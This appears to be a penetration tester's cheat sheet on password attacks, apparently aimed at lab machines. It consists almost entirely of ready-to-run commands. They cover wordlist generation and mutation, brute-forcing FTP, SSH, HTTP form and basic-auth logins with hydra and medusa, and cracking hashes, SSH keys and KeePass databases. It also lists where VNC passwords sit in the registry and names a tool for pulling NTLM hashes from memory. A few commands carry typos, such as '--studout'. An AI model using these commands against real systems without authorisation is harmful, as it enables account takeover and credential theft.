Cheetsheet

Finding Passwords

grep -rl hash
grep -rl password

Wordlist creation

crunch 6 6 0123456789ABCDEF -o list.txt
crunch 8 8 -t ,@@^^%%%
/usr/share/crunch/charset.lsr mixalpha -o  mixda.txt

Wordlist using keywords from a site

cewl example.com -m 6 -w out.txt

Mutate wordlists

/etc/john/john.conf
> $[0-9]$[0-9]
john --wordlist=out.txt --rules --stdout > mutated.txt

Tools

  • pwdump
  • fgdump
  • windows credential editor (WCE) - Steal NTLM hashes from memory and auth modules

Password Cracking

john hashes.txt

Htaccess

medusa -h ip -u admin -P passwords.txt -M http -m DIR:/admin -T 20

FTP

hydra  -l admin -P pass.txt -v ip ftp

HTTP Post

hydra -l none -P rockyou.txt 10.10.10.43 http-post-form
"/department/login.php:username=admin&password=^PASS^:Invalid Password" -t 64 -V

SSH

hydra -L usernames.txt -P passwords.txt -s 2222 ssh://10.10.10.66 -v -t 4

Basic Auth

cewl example.com -m 6 -w /root/mega-cewl.txt 2> /dev/null
john --wordlist=mega-cewl.txt --rules --studout > mega-cewl-mutated.txt
medusa -h admin.example.com -u admin -P mega-cewl-mutated.txt -M http -n 81 -m DIR:/admin -T 30

Salted Hash Cracking

oclHashcat

oclHashcat input file should be in format: passwordhash:salt

oclHashcat-plus64.bin -m 110 hashes.txt ../big-wordlist --force

RSA Private Key Password Recovery

ssh2john id_rsa > id_john
john id_john --wordlist=<PATH TO ROCKYOU.TXT>

KeePass Password Recovery

keepass2john jeeves.kdbx > jeeves.hash
john jeeves.hash

/etc/passwrd format

Verify

pwck -r /etc/passwd
pwck -r /etc/shadow

Edit

vipw -p
vipw -s
vipw -g

Manually create password

openssl passwd -1 -salt xyz  yourpass
makepasswd --clearfrom=- --crypt-md5 <<< YourPass
mkpasswd  -m sha-512 -s <<< YourPass
echo -e "md5crypt\npassword" | grub | grep -o "\$1.*"
perl -e 'use Crypt::PasswdMD5; print unix_md5_crypt("Password", "Salt"),"\n"'

Update password

echo "username:password" | chpasswd
perl -e 'print crypt("YourPasswd", "salt"),"\n"'
echo "username:encryptedPassWd"  | chpasswd -e
OR
useradd -p 'encryptedPassWd'  username

VNC

reg query HKLM\SOFTWARE\RealVNC\vncserver
Value: Password

reg query HKCU\Software\TightVNC\Server
Value: Password or PasswordViewOnly

reg query HKLU\Software\TigerVNC\WinVNC4
reg query HKLM\Software\TigerVNC\WinVNC4
Value: Password

C:\Program Files\UltraVNC\ultravnc.ini
Value: passwd or passwd2